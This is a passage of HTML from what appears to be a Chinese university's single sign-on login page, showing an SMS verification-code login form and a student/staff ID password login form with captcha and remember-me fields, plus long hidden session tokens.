value="931d0a7e-76c5-4499-8df1-4b69fea3c9d7_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90dElDOEg5VDI5aHF2RHRmdzJvQS9na1JpUXZyYThORVkxeXRxYi9xRnh3U1lCWjdzNkJZdVRnTmUwUTdzZjVqM3hwSnIvNVZMOFBFd2pxMVk0ZmRBdlNrK3ZZdmxra0FFVmEyR1VGSkNNeEhncDB1bndkdmpzL2NjL1lndDJXVUp6NGpKazJUQzRGWjMzaTg2d1V4S2xJL0duU3k4aG54QUxrL2RST0s1cktDWFk3OXpaZVBxTEFpMU1BbWZrWCtvQllHM3BYUUtLK05EM05SSjRwYTcxaDEwT0xDZ0dkVEd3YTQvbXJsN1VnbnYyc1hHV3RFVU9tejhtSnU3Q0ZSQ29Ed29HTzhWR0ZlU25pK0ZUMkJZVlNBY3lYZWNaK0lZNUk5Z2k0RkhEaXVXM1pYVXVxK1hEaTdCcWVQT2xieXZVM0xPblVOQXVDSURhUHhNeWZVMXY0a2Q2dE51OHpWWmJKRms0S1dmTTVsUkpEdkpHdEJxYTloR0s5Ujh5MEx2VGEvQmYwU2FjNWNmcW5aWTBVRU5UV2xHeWFCMmhlR1RvUFJ3aG5MUTdyTENRU0hhNXM1Y2ZyOWh5RjdVQ29RVythY1JDZmtSWVNWelNTZmxFM1QvTkg0N3BEdW5Ia2haQmtYM1JlRzQzbW5Ia25HYmY0RUNYaGw1b1krWUV4cVJXRkdKSDd3WG1BcCs4UEZvRUdIYkhEVmd5eUR5QlFIdm5jZlVFdXBOb2dEYmJBRGhGamVsNG1yR3Q3WEhQcHNQdng1R3VsdGtrcXROU1BzVlkxOWdXdWRqUElaZm5XN3VwMStYcGpFdmNaWmluaDFpeHRYc0dSVUR3ODV3Zml1RzQrNkNaLzZPR3BNeVY4UzdFbUVBbmxhSzdyQVdORnpLNGwxYkhYYVFla1VuckQxWUR0Rnp0WW1lbFRremNLYWROSENvRUsyTkhPSUtUdGZzbXFMUjM0RTBGdjlXL0hZMmRNcERNUVI3c0Erc29ZU0xXdUo5cVBwUThCOHM4NTVtMVJYZEplOXpHNGpkSXhDRFJYUEp2MXVIMzJzTWd5cmRaeUNmaEQwak5vTG54c0tBYXVYbTlodk5ITTZOTEdWMkhCYUZ3aHRuck1XRDFwVWc1LzJuMGpoMFpybUJPamYvT1lDTFZnSjY3MGZnR0RIUTVpT29HUXQyNXRuNVBVQUpGNU9lbitEUHB2cS9wTi9GdVFxZEsrSjYvUG1aTE9xcXpSTWhMbTVJaFQreDh4L2RnSjJVblgxZDJkcVBjVFhxM0U4bVVZQjAzTHZpcW4xTzFJZlorc2Y4eGxIYUVpbVoyQ2sxL0RBN295bEpCeUpNNE9HQjQzVE9YaVhsOFhydXU0Y0ZOOVhYdUh4VVE3Y1ZUcTlwMHVZenFialV1OWswS2FMV0c2K29kYTVxeE9WYmkxekxtbXlHNFAvSVB2TkJkbmFnS0x1bnQ0Qzh2MmRQL21pTXRNWXQ3SDhVTlc0WWdBYVoxdDYxdUgyVmRQNE5pVjlhOTNwYTl3NVlQNVVsK1NPVERLOWVlRW9PZE1sa0htL1Q3VHEzaXZpakI2TGU5ZGNUbkU1VCtnNXg2ek83TlpPZmorbHZIYURnSzl0TnpjNk9NeEhoYWZZbHRxWjVBSjNxYlFMYkhEZ2dES2hKcWJSZFNTeVIrMVdKMS9CNWd2MGRFbEd6NWcrNS9yQTFkWStWbytIZStTWVBLb3hhMEZKM2dneVNOcFdIVS9lOHduK2tWOUoxRGxGV3B3Tm5JeVd5bFJUeDhYWnhWT1JLVW5mcHhQTXFpUUpac3l4NjZVTitPZzBBaXZNSHMwSk5yRGZ6ZncyK3lZb1hTMTJPVS8valhFWTdRUXpkV1FFQStoaWxCMjY2am5nRWNtM1RMYW1tUEVXc1ZONkZreVIvWmwvQjRYRU43ZHplVFJxMjNsV1FweWlxUFZxOEs5T0RRaHIvd01FdDQ1ak9zQ01EQzJUbWRJamMzSGdVd2FLWDltSkZ3UGw5ZlNDcFFoVHBiYVNab3cxcW9WaGZYMTNwRERmQ3BGd1JLZHo5L21GSHBzZjhEaFFVYXBZWkFwOXRMMkVxRnlGd1U4NlF6WTNRTnc1WWt5NTBteHVzK1hKUkw3U1ZrTGdrYmtIenQzNjFFNEQ3K0Z6UHpFRHZNNHUwd3Y4b3JKczlOWjdCTFFQRTZqWTcyQng5Uy9qeURRdm1oUzZSL0k0SS9zczlJWXdNcXRFT3RkcWI0ODFxY290V0dUR2swdkhXdmE2cHNWQTNMWTV1MEtSUW1pZDcxV20zMnROeU5HRVViSzBiUThLaUdXN0pxT1FyTyszZVh2aUxZTjFkdXlLVlFDWVp4RkIvVzZZbEZvWnZZZ2V6VFlLRTRTUlZPSVhxaGdyZm51MGRCQklYdXA1RktHczBBV0VIc0xKUGV5U3hMcHJDNDJFdVdTNjRKT3hrVS9wUWJ1V2QxQm96SXo3aS8yQjJZWlh4SUFmelRzT0M3L3plUnRQQ3V0YnU0UlpjN2FTbEw4ZUxUc3FmOWh3alJER2QwcWZaeWUwK1h6cUlwV2hNMWc4K0NzZUNyb01vdS82dVlJZm11ZUJkbTRkUDIzcHlna0twYlJMUFRRUW9uZ1UrYmpkZlhMR2ViWnBjZTJxNis2WTNVbGFoQ2hJUlUwdkNEZWh4NVhqb2NaVDl4VnRSekdmSU1DZWVGV3kzQktHd0N3SW9SRXg5R1BGcllQQ0VkcE12RDhRQVJDMW1KMDk2WnRXaWx1MFZLbTNZTDA4dDNCZC9LT0dHT3hZUFI5VDAwbHlrWkc4NWFKcmUvODF5b0NHcC82aFRTRHVqOU55Tjl6OWY3clVOVHV1dVNzaUxvd3RzSG1uUkUySlNvd3ZQbmtGczBEL2l3cDRTUzdDT0ZUVE0wd040dTJ6cDN6QkRoZjdXRzRlY0F4bkEyTnA1MGZZcE9jWG41eGtOTFV5ek1pZW1GbDhhZU1CUko0TE0wMkNhcG9rMnQrR1NlVTZYNXpqcmxOdWhBMUIvSjhxOXRHOGR6aHZRdnhxMTFWdVJtSFBrU2YrUGVsYTd6Ym5JMFBnVTBjZnAyaFBBK0l3VlZ2QTd6UDJDU1NoYUZldzRWTnFXcUJQWnQyWm05bTI2d1o5dm5rMDcxSEZ4ajJlUTVoM2lUYlRacjhWSkZQcE16UC9xOWMyc3g3Y2ZUbW0vTUxmamhRdlhMSnhjYXZ6aXlja1dzNjBFSzNUZm40RURqK21xbmhPZlAwcmJRQjBvejNHaS9neW80a1RSUUQ4R0tYOUdzRzlobDJ6VXp1aS9qdXkwVjdwWkhHaCtRQlBPNXk2L3VoeUZiMVNpRVhtT1RVVkJXZUg2VVV5Uk1CZTRSWER3bjRtbWRoZjRVRnFJa09qMlJHZ0F0WDBVWm5Vb3BVRTNrMS9XRWxaSVp0ZWNsKzVFK05oNzhpVmUwZmVOTjJXUTJLZGI4ZlJUZzlvSEl5VkVpbjV0VVV4TDB3VmFZZTRqaTB0L2srV2ZLaFZZOVZicEN5VEc5VjhiamhqbHVnNUpqdi83N0NqTWNyLytpM0lHaTU1UWJza243aWxycFdiMUQySmJBTlkxR1lyTkpFQytrUDV4MGhpVEYwYUdWVFQrNTE0Y3ZDZFcyTUhTeFRTc28xKzdYNngxOVk5SGNTbWFjNFVIZGZsRE5PV09XMzhPcngrZWFRM0dxSmFvWDZJVEpJZDR5VCtDazNrb2t4ZlRKSlV0VTBNelZReUpiMlRwbWc2T0I1dmFaSFBuc1FEVzYxYjIra1pidlNMWVFuc1dSM0krc1ZGbFdVSTBFZGFkOVBPOHZzRGx1dm9Kemh5U1R0eUJiM1paRmEwMXpheXpGdy84SnFUd2pYQ3J5MXJKQnNDZ1pCUkp5bTVQMXBqSTN3YksyWVJuTTRic3pZS3VKcXJWQ2xQUDJNaGVWVVNpSW53a08yOUdSbVhHYVVQdXFYeGliRjJmS3BtaVRmTEp6eGVyTGM1bnpBV0Y1UW95eElCT1h3TTBnQWYrSUlFa1dKZGZWdUZPSDdyQjFSMTk3Uk1KQThOdE1BUDVIbzFoZFFpZVJLMDh6M0p2Wks3Z1J4dmhFazQyaE43cG9qMy9peFBSOHp2ekJIdjl6NnN6akNwVkd1K2IxSkRqaC8wTzFmUCt6SS9WdS9YVDRVemMvQWVQZGxrNXhRQVFGeDZtaDFpSnRhMHBnVkdCWlpadmtCcktVQk81V0tYSWwxRE9kVWRjeGtPTjJaWVZmMWF3ZTFRQzBPbXNRdHM1K2Fndjh4TUJ1cnU4S2VDb3VrNnI5eW5TOEU2bUVISlhXcEJKeE1BLzE1YVdZUHpjOG9uRmt1M0YrelB3NGQxaktMbjRJSlQzTVNraHVvN0U3eEJNVzhkVmk5dnU4QzhuMnU5TVhteTdGSFJZbDlOSFF0ZUZoRVN5dndaaktnY3A1Vzhqakdlb3NRTWd4S0RyV0NtQzRHVkNiREQyMnRrWDl5cCtEVTh6RVZXaUJEbDlGeXV4dGF2TjNjNGN6QW5ndm9HcHp5em0rdFh5NjkvZWVuZmVBMDhZeHkxa1hIbjltMEF5cVZTaDRIV2hqOXBwbDRmNjNKOVVmNFFVZElmWmRJMUxvalpXOXBNQ1d0WGZLUFZ2d2UzQmtRU1ZsdWpZT1lKVUZMVzUxN2pFcWdIUXRxYUVXbFlER0NkK2hKcm90YzZTeUpXa21FV0NMOEo0RnRFVkFuTlgrWG1qZURLNkdLeUdqZ1hyZXAzbUUvWm1LM3B0M3RXWWYyM1BmY1Jyb2JRM3FyQUw5QWRXNEd0aW9URWNTajJDVFZZNEg2L1ZYMGNrb3hYb296ZmhiaXRaZHpUZjMrM05PN0lQNVpNd1JYRk5rdGdyUGF4Z1dLWnAycUQ0ZXFUZXJGakM5WGUxRldSdFN4ZFF1OEhjVmN0SE9yUk9uZ1hCUGpXQ1lobis4RjI3VFVjYXAyVWpDNUExd0luM0R6V0U4NExoeWRqYlBldFp3WWRYR0I3YkQzS3F6eTJxQ2NkSnpIaEI1Z0F6c2tROHVSSmxVOGk2cmVBMzJqOSsvYjJGSmNaWEREWjRSaGZieEpoRnhBbDY2UStra2twWGZ3WGQ1SUhVYkZSS2pJMUlZajVFL0Q0eG8vNlcweWxlRENEaEJqSHpNejJ1alJCTytBb3pvZEsvVkhtd1lxenRjZlY5Z1RaOHFBRy9kT2dLNE4wc1J3QTkyOXQzOTFxajh5cWE0cjQvWnJBQnJtdmVnQm0xcW5PVjEvTkxGN01iaFJFYmNKSnhicW56bFoxUzAwU1FTM1h3WnFKdkF1MTlNTlpWNTZRRGl5NzNCWkRVV0dZMDhrYVRPdXA3WlptWlBsenE5clFKRjVub3hzck5lb3lqR2JBTlMrMGxrbkYzQVdhMHc1WjBuQUQ0TlhBSjk2QXBoZm80dm5BRVFNNitTQm5pb0htKy9sb0ZDelZjSUR6ZUJCeFl2c2Mrek5TQ0lpV0hCTnBMdWVhaFlYVXplUFJOOWU4U1NhMTAwSndWOHhiZjJ2S0tURkhDYXBKcWZPWVMxZHdHYW5lL3FpemNuc0VCK0svU1pabTJ2Qi90My9kUExmVXZnUkdkd2FYa2srdkIzYkdVSjRuc0MreExXa3BDd3VaaTZ1S283M2dCZmZ3T2lJR0ZaS0V0eXg2SDhhcGhoVUJraHFrbjZHaU9xaFNFTTZXZ2lwTFBsc3lPc2Z6QjBtS2hybjJoTWVWK1AyWEJ1dUtYM1h4ZHNhSm1GWlFldTRQbWNEVGw0bVNCOFM3U0RzMXR6VjJrN0hjOTZJU3dwN1dCRHRKZkZSZ3BicSszSHdLT1R3a0NmMC9zMHVtMGZKTlBBVHhCdmZzeWdVR2IzOD0uNFFVTFpLYjdLM3BRS3owNEduV0VFbzNMd0J0ZGdyem9lc0RIT2FFWFJmcm0tS2JaeWJSOC1fekxKSHpuTGhUQnlvSFdNMjNiY2thN3FYeEEwbzFlUmc=" /></form>
		<div class="lang_text_ellipsis" style="width:100%;color: red;display: none;" id="showFidoErrorTip">
			<span id="showFidoErrorTipSpan" style="font-size: 14px;"></span>
		</div>
	</div>
  </div>
  <!-- 手机动态码登录 --><div id="phoneLoginDiv" style="display: none">
    <div>
		<form class="loginFromClass" method="post" id="phoneFromId" action="/authserver/login">
			<div class="form">
				<!-- 动态码登录 --><div class="m-phone">
					<div class="username item" style="overflow: visible;">
            <img class="icon-info" src="/authserver/cusThemeZnd/customStatic/web/images/phone.png" /><p class="account-title pc-mobile">
							<span class="lang_text_ellipsis">手机号</span>
							<span class="item" style="position: absolute;">
								<img class="mobile-tip" src="/authserver/cusThemeZnd/customStatic/web/images/question.png" height="16px"><span class="mobile-tip-prompt mobile-item-show">海外手机请按“国家代码-手机号”的格式输入，如：1-888888</span>
							</span>
						</p>
						<input type="text" id="username" name="username" class="change-input-color"
							   placeholder="请输入手机号/学号" title="请输入手机号/学号" value=""><div id="nameErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="captcha item" id="captchaDiv">
            <img class="icon-info" src="/authserver/cusThemeZnd/customStatic/web/images/captcha.png" /><p id="captchaTitle" class="account-title pc-captcha lang_text_ellipsis">图形验证码</p>
						<input type="text" id="captcha" name="captcha" autocomplete="off" class="change-input-color"
							   placeholder="请输入验证码" title="请输入验证码" maxlength="10"><span class="captcha-img">
							<img id="captchaImg" alt="验证码错误" height="30px"><a class="mask-inner captcha-refresh" onclick="reloadCaptcha(true)" href="javascript:void(0);">刷新</a>
						</span>
						<div id="captchaErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="code item">
            <img class="icon-info" src="/authserver/cusThemeZnd/customStatic/web/images/code.png"/><p class="account-title pc-code lang_text_ellipsis">短信验证码</p>
						<i class="auth_icon auth_icon_bar"></i>
						<input type="text" id="dynamicCode" name="dynamicCode" autocomplete="off" class="change-input-color"
							   placeholder="请输入短信验证码" title="请输入短信验证码" maxlength="10"><a class="get-code text_ellipsis" href="javascript:void(0)" onclick="startDynamicCode()" title="获取验证码">
							<span class="change-color">获取验证码</span>
						</a>
						<a class="get-code-tip get-code text_ellipsis" style="display: none;" href="javascript:void(0)" title="后重发">
							<span class="getCodeText change-color">120</span>
							<span style="color: #86909C;">后重发</span>
						</a>
						<div id="dynamicErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
				</div>
			</div>
			<div class="ge-btn">
				<div id="formErrorTip" class="form-errorTip lang_text_ellipsis">
					<span id="showErrorTip" class="form-error"></span>
					<span id="showWarnTip" class="form-warn"></span>&nbsp;
				</div>
				<div class="btn">
					<a id="login_submit" href="javascript:void(0);" class="login-btn change-bg-color" onclick="startLogin(this)">登录</a>
				</div>
			</div>
			<input type="hidden" id="_eventId" name="_eventId" value="submit" /><input type="hidden" id="cllt" name="cllt" value="dynamicLogin"><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" id="lt" name="lt" value="" /><input type="hidden" id="pwdEncryptSalt" value="eyx6eRBsnDq9bUUu" /><input type="hidden" id="execution" name="execution" value="931d0a7e-76c5-4499-8df1-4b69fea3c9d7_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90dElDOEg5VDI5aHF2RHRmdzJvQS9na1JpUXZyYThORVkxeXRxYi9xRnh3U1lCWjdzNkJZdVRnTmUwUTdzZjVqM3hwSnIvNVZMOFBFd2pxMVk0ZmRBdlNrK3ZZdmxra0FFVmEyR1VGSkNNeEhncDB1bndkdmpzL2NjL1lndDJXVUp6NGpKazJUQzRGWjMzaTg2d1V4S2xJL0duU3k4aG54QUxrL2RST0s1cktDWFk3OXpaZVBxTEFpMU1BbWZrWCtvQllHM3BYUUtLK05EM05SSjRwYTcxaDEwT0xDZ0dkVEd3YTQvbXJsN1VnbnYyc1hHV3RFVU9tejhtSnU3Q0ZSQ29Ed29HTzhWR0ZlU25pK0ZUMkJZVlNBY3lYZWNaK0lZNUk5Z2k0RkhEaXVXM1pYVXVxK1hEaTdCcWVQT2xieXZVM0xPblVOQXVDSURhUHhNeWZVMXY0a2Q2dE51OHpWWmJKRms0S1dmTTVsUkpEdkpHdEJxYTloR0s5Ujh5MEx2VGEvQmYwU2FjNWNmcW5aWTBVRU5UV2xHeWFCMmhlR1RvUFJ3aG5MUTdyTENRU0hhNXM1Y2ZyOWh5RjdVQ29RVythY1JDZmtSWVNWelNTZmxFM1QvTkg0N3BEdW5Ia2haQmtYM1JlRzQzbW5Ia25HYmY0RUNYaGw1b1krWUV4cVJXRkdKSDd3WG1BcCs4UEZvRUdIYkhEVmd5eUR5QlFIdm5jZlVFdXBOb2dEYmJBRGhGamVsNG1yR3Q3WEhQcHNQdng1R3VsdGtrcXROU1BzVlkxOWdXdWRqUElaZm5XN3VwMStYcGpFdmNaWmluaDFpeHRYc0dSVUR3ODV3Zml1RzQrNkNaLzZPR3BNeVY4UzdFbUVBbmxhSzdyQVdORnpLNGwxYkhYYVFla1VuckQxWUR0Rnp0WW1lbFRremNLYWROSENvRUsyTkhPSUtUdGZzbXFMUjM0RTBGdjlXL0hZMmRNcERNUVI3c0Erc29ZU0xXdUo5cVBwUThCOHM4NTVtMVJYZEplOXpHNGpkSXhDRFJYUEp2MXVIMzJzTWd5cmRaeUNmaEQwak5vTG54c0tBYXVYbTlodk5ITTZOTEdWMkhCYUZ3aHRuck1XRDFwVWc1LzJuMGpoMFpybUJPamYvT1lDTFZnSjY3MGZnR0RIUTVpT29HUXQyNXRuNVBVQUpGNU9lbitEUHB2cS9wTi9GdVFxZEsrSjYvUG1aTE9xcXpSTWhMbTVJaFQreDh4L2RnSjJVblgxZDJkcVBjVFhxM0U4bVVZQjAzTHZpcW4xTzFJZlorc2Y4eGxIYUVpbVoyQ2sxL0RBN295bEpCeUpNNE9HQjQzVE9YaVhsOFhydXU0Y0ZOOVhYdUh4VVE3Y1ZUcTlwMHVZenFialV1OWswS2FMV0c2K29kYTVxeE9WYmkxekxtbXlHNFAvSVB2TkJkbmFnS0x1bnQ0Qzh2MmRQL21pTXRNWXQ3SDhVTlc0WWdBYVoxdDYxdUgyVmRQNE5pVjlhOTNwYTl3NVlQNVVsK1NPVERLOWVlRW9PZE1sa0htL1Q3VHEzaXZpakI2TGU5ZGNUbkU1VCtnNXg2ek83TlpPZmorbHZIYURnSzl0TnpjNk9NeEhoYWZZbHRxWjVBSjNxYlFMYkhEZ2dES2hKcWJSZFNTeVIrMVdKMS9CNWd2MGRFbEd6NWcrNS9yQTFkWStWbytIZStTWVBLb3hhMEZKM2dneVNOcFdIVS9lOHduK2tWOUoxRGxGV3B3Tm5JeVd5bFJUeDhYWnhWT1JLVW5mcHhQTXFpUUpac3l4NjZVTitPZzBBaXZNSHMwSk5yRGZ6ZncyK3lZb1hTMTJPVS8valhFWTdRUXpkV1FFQStoaWxCMjY2am5nRWNtM1RMYW1tUEVXc1ZONkZreVIvWmwvQjRYRU43ZHplVFJxMjNsV1FweWlxUFZxOEs5T0RRaHIvd01FdDQ1ak9zQ01EQzJUbWRJamMzSGdVd2FLWDltSkZ3UGw5ZlNDcFFoVHBiYVNab3cxcW9WaGZYMTNwRERmQ3BGd1JLZHo5L21GSHBzZjhEaFFVYXBZWkFwOXRMMkVxRnlGd1U4NlF6WTNRTnc1WWt5NTBteHVzK1hKUkw3U1ZrTGdrYmtIenQzNjFFNEQ3K0Z6UHpFRHZNNHUwd3Y4b3JKczlOWjdCTFFQRTZqWTcyQng5Uy9qeURRdm1oUzZSL0k0SS9zczlJWXdNcXRFT3RkcWI0ODFxY290V0dUR2swdkhXdmE2cHNWQTNMWTV1MEtSUW1pZDcxV20zMnROeU5HRVViSzBiUThLaUdXN0pxT1FyTyszZVh2aUxZTjFkdXlLVlFDWVp4RkIvVzZZbEZvWnZZZ2V6VFlLRTRTUlZPSVhxaGdyZm51MGRCQklYdXA1RktHczBBV0VIc0xKUGV5U3hMcHJDNDJFdVdTNjRKT3hrVS9wUWJ1V2QxQm96SXo3aS8yQjJZWlh4SUFmelRzT0M3L3plUnRQQ3V0YnU0UlpjN2FTbEw4ZUxUc3FmOWh3alJER2QwcWZaeWUwK1h6cUlwV2hNMWc4K0NzZUNyb01vdS82dVlJZm11ZUJkbTRkUDIzcHlna0twYlJMUFRRUW9uZ1UrYmpkZlhMR2ViWnBjZTJxNis2WTNVbGFoQ2hJUlUwdkNEZWh4NVhqb2NaVDl4VnRSekdmSU1DZWVGV3kzQktHd0N3SW9SRXg5R1BGcllQQ0VkcE12RDhRQVJDMW1KMDk2WnRXaWx1MFZLbTNZTDA4dDNCZC9LT0dHT3hZUFI5VDAwbHlrWkc4NWFKcmUvODF5b0NHcC82aFRTRHVqOU55Tjl6OWY3clVOVHV1dVNzaUxvd3RzSG1uUkUySlNvd3ZQbmtGczBEL2l3cDRTUzdDT0ZUVE0wd040dTJ6cDN6QkRoZjdXRzRlY0F4bkEyTnA1MGZZcE9jWG41eGtOTFV5ek1pZW1GbDhhZU1CUko0TE0wMkNhcG9rMnQrR1NlVTZYNXpqcmxOdWhBMUIvSjhxOXRHOGR6aHZRdnhxMTFWdVJtSFBrU2YrUGVsYTd6Ym5JMFBnVTBjZnAyaFBBK0l3VlZ2QTd6UDJDU1NoYUZldzRWTnFXcUJQWnQyWm05bTI2d1o5dm5rMDcxSEZ4ajJlUTVoM2lUYlRacjhWSkZQcE16UC9xOWMyc3g3Y2ZUbW0vTUxmamhRdlhMSnhjYXZ6aXlja1dzNjBFSzNUZm40RURqK21xbmhPZlAwcmJRQjBvejNHaS9neW80a1RSUUQ4R0tYOUdzRzlobDJ6VXp1aS9qdXkwVjdwWkhHaCtRQlBPNXk2L3VoeUZiMVNpRVhtT1RVVkJXZUg2VVV5Uk1CZTRSWER3bjRtbWRoZjRVRnFJa09qMlJHZ0F0WDBVWm5Vb3BVRTNrMS9XRWxaSVp0ZWNsKzVFK05oNzhpVmUwZmVOTjJXUTJLZGI4ZlJUZzlvSEl5VkVpbjV0VVV4TDB3VmFZZTRqaTB0L2srV2ZLaFZZOVZicEN5VEc5VjhiamhqbHVnNUpqdi83N0NqTWNyLytpM0lHaTU1UWJza243aWxycFdiMUQySmJBTlkxR1lyTkpFQytrUDV4MGhpVEYwYUdWVFQrNTE0Y3ZDZFcyTUhTeFRTc28xKzdYNngxOVk5SGNTbWFjNFVIZGZsRE5PV09XMzhPcngrZWFRM0dxSmFvWDZJVEpJZDR5VCtDazNrb2t4ZlRKSlV0VTBNelZReUpiMlRwbWc2T0I1dmFaSFBuc1FEVzYxYjIra1pidlNMWVFuc1dSM0krc1ZGbFdVSTBFZGFkOVBPOHZzRGx1dm9Kemh5U1R0eUJiM1paRmEwMXpheXpGdy84SnFUd2pYQ3J5MXJKQnNDZ1pCUkp5bTVQMXBqSTN3YksyWVJuTTRic3pZS3VKcXJWQ2xQUDJNaGVWVVNpSW53a08yOUdSbVhHYVVQdXFYeGliRjJmS3BtaVRmTEp6eGVyTGM1bnpBV0Y1UW95eElCT1h3TTBnQWYrSUlFa1dKZGZWdUZPSDdyQjFSMTk3Uk1KQThOdE1BUDVIbzFoZFFpZVJLMDh6M0p2Wks3Z1J4dmhFazQyaE43cG9qMy9peFBSOHp2ekJIdjl6NnN6akNwVkd1K2IxSkRqaC8wTzFmUCt6SS9WdS9YVDRVemMvQWVQZGxrNXhRQVFGeDZtaDFpSnRhMHBnVkdCWlpadmtCcktVQk81V0tYSWwxRE9kVWRjeGtPTjJaWVZmMWF3ZTFRQzBPbXNRdHM1K2Fndjh4TUJ1cnU4S2VDb3VrNnI5eW5TOEU2bUVISlhXcEJKeE1BLzE1YVdZUHpjOG9uRmt1M0YrelB3NGQxaktMbjRJSlQzTVNraHVvN0U3eEJNVzhkVmk5dnU4QzhuMnU5TVhteTdGSFJZbDlOSFF0ZUZoRVN5dndaaktnY3A1Vzhqakdlb3NRTWd4S0RyV0NtQzRHVkNiREQyMnRrWDl5cCtEVTh6RVZXaUJEbDlGeXV4dGF2TjNjNGN6QW5ndm9HcHp5em0rdFh5NjkvZWVuZmVBMDhZeHkxa1hIbjltMEF5cVZTaDRIV2hqOXBwbDRmNjNKOVVmNFFVZElmWmRJMUxvalpXOXBNQ1d0WGZLUFZ2d2UzQmtRU1ZsdWpZT1lKVUZMVzUxN2pFcWdIUXRxYUVXbFlER0NkK2hKcm90YzZTeUpXa21FV0NMOEo0RnRFVkFuTlgrWG1qZURLNkdLeUdqZ1hyZXAzbUUvWm1LM3B0M3RXWWYyM1BmY1Jyb2JRM3FyQUw5QWRXNEd0aW9URWNTajJDVFZZNEg2L1ZYMGNrb3hYb296ZmhiaXRaZHpUZjMrM05PN0lQNVpNd1JYRk5rdGdyUGF4Z1dLWnAycUQ0ZXFUZXJGakM5WGUxRldSdFN4ZFF1OEhjVmN0SE9yUk9uZ1hCUGpXQ1lobis4RjI3VFVjYXAyVWpDNUExd0luM0R6V0U4NExoeWRqYlBldFp3WWRYR0I3YkQzS3F6eTJxQ2NkSnpIaEI1Z0F6c2tROHVSSmxVOGk2cmVBMzJqOSsvYjJGSmNaWEREWjRSaGZieEpoRnhBbDY2UStra2twWGZ3WGQ1SUhVYkZSS2pJMUlZajVFL0Q0eG8vNlcweWxlRENEaEJqSHpNejJ1alJCTytBb3pvZEsvVkhtd1lxenRjZlY5Z1RaOHFBRy9kT2dLNE4wc1J3QTkyOXQzOTFxajh5cWE0cjQvWnJBQnJtdmVnQm0xcW5PVjEvTkxGN01iaFJFYmNKSnhicW56bFoxUzAwU1FTM1h3WnFKdkF1MTlNTlpWNTZRRGl5NzNCWkRVV0dZMDhrYVRPdXA3WlptWlBsenE5clFKRjVub3hzck5lb3lqR2JBTlMrMGxrbkYzQVdhMHc1WjBuQUQ0TlhBSjk2QXBoZm80dm5BRVFNNitTQm5pb0htKy9sb0ZDelZjSUR6ZUJCeFl2c2Mrek5TQ0lpV0hCTnBMdWVhaFlYVXplUFJOOWU4U1NhMTAwSndWOHhiZjJ2S0tURkhDYXBKcWZPWVMxZHdHYW5lL3FpemNuc0VCK0svU1pabTJ2Qi90My9kUExmVXZnUkdkd2FYa2srdkIzYkdVSjRuc0MreExXa3BDd3VaaTZ1S283M2dCZmZ3T2lJR0ZaS0V0eXg2SDhhcGhoVUJraHFrbjZHaU9xaFNFTTZXZ2lwTFBsc3lPc2Z6QjBtS2hybjJoTWVWK1AyWEJ1dUtYM1h4ZHNhSm1GWlFldTRQbWNEVGw0bVNCOFM3U0RzMXR6VjJrN0hjOTZJU3dwN1dCRHRKZkZSZ3BicSszSHdLT1R3a0NmMC9zMHVtMGZKTlBBVHhCdmZzeWdVR2IzOD0uNFFVTFpLYjdLM3BRS3owNEduV0VFbzNMd0J0ZGdyem9lc0RIT2FFWFJmcm0tS2JaeWJSOC1fekxKSHpuTGhUQnlvSFdNMjNiY2thN3FYeEEwbzFlUmc=" /></form>
	</div>
  </div>
  <!-- 用户名密码登录 --><div id="pwdLoginDiv" style="display: none">
    <div>
		<form class="loginFromClass" method="post" id="pwdFromId" action="/authserver/login">
			<div class="form">
				<!-- 用户名密码登录 --><div class="m-account">
					<div class="username item">
            <img class="icon-info" src="/authserver/cusThemeZnd/customStatic/web/images/user.png"/><p class="account-title pc-name lang_text_ellipsis">用户名</p>
						<input id="username" name="username" type="text" class="change-input-color" onfocusout="checkUserCaptcha()" placeholder="请输入学号/工号" title="请输入学号/工号" value=""><div id="nameErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="password item">
            <img class="icon-info" src="/authserver/cusThemeZnd/customStatic/web/images/pwd.png" /><p class="account-title pc-pass lang_text_ellipsis">密码</p>
						<input id="password" name="passwordText" type="password" class="change-input-color no-auto-input" readonly
							   placeholder="请输入密码" title="请输入密码" maxlength="32"><input id="saltPassword" name="password" type="hidden"><a class="ge-input-eye eye-hide"></a>
						<div id="pwdErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="captcha item hide" id="captchaDiv">
            <img class="icon-info" src="/authserver/cusThemeZnd/customStatic/web/images/captcha.png" /><p id="captchaTitle" class="account-title pc-captcha lang_text_ellipsis hide">验证码</p>
						<input type="text" id="captcha" name="captcha" autocomplete="off" class="change-input-color"
							   placeholder="请输入验证码" title="请输入验证码" maxlength="10"><span class="captcha-img">
							<img id="captchaImg" alt="验证码错误" height="30px"><a class="mask-inner captcha-refresh" onclick="reloadCaptcha(true)" href="javascript:void(0);">刷新</a>
						</span>
						<div id="captchaErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div  id="myRememberMe" class="m-rememberMe lang_text_ellipsis">
						<input class="custom-remember" type="checkbox" name="rememberMe" id="rememberMe" value="true" style="transform: translateY(2px);width:15px;margin-right:5px;"/><label for="rememberMe" class="remember-label">
              <!-- 空标签，仅用于承载伪元素 --></label>
            <span style="font-size: 13px">7天免登录</span>
						<div id="rememberMeTipDiv" style="margin-left:6px;position: relative;z-index:100;display: inline-block;min-width: 30px;min-height: 10px;vertical-align: middle;">
							<img id="rememberMeTip" style="width: 16px;height: 16px;transform: translateY(-2px);" src="/authserver/cusThemeZnd/static/web/images/question.svg"/><div class="bubbleTip" id="bubbleTipContainer" style="position: absolute;">开启后7天内无需再次登录，主动退出登录或使用浏览器无痕模式访问后，此功能失效</div>
						</div>
					</div>
					<div style="clear: both"></div>
				</div>
				<div class="ge-btn">
					<div id="formErrorTip" class="form-errorTip lang_text_ellipsis">
						<span id="showErrorTip" class="form-error"></span>
						<span id="showWarnTip" class="form-warn"></span>
					</div>
					<div class="btn">
						<a id="login_submit" href="javascript:void(0);" class="login-btn change-bg-color" onclick="startLogin(this)">登录</a>
					</div>
				</div>
			</div>
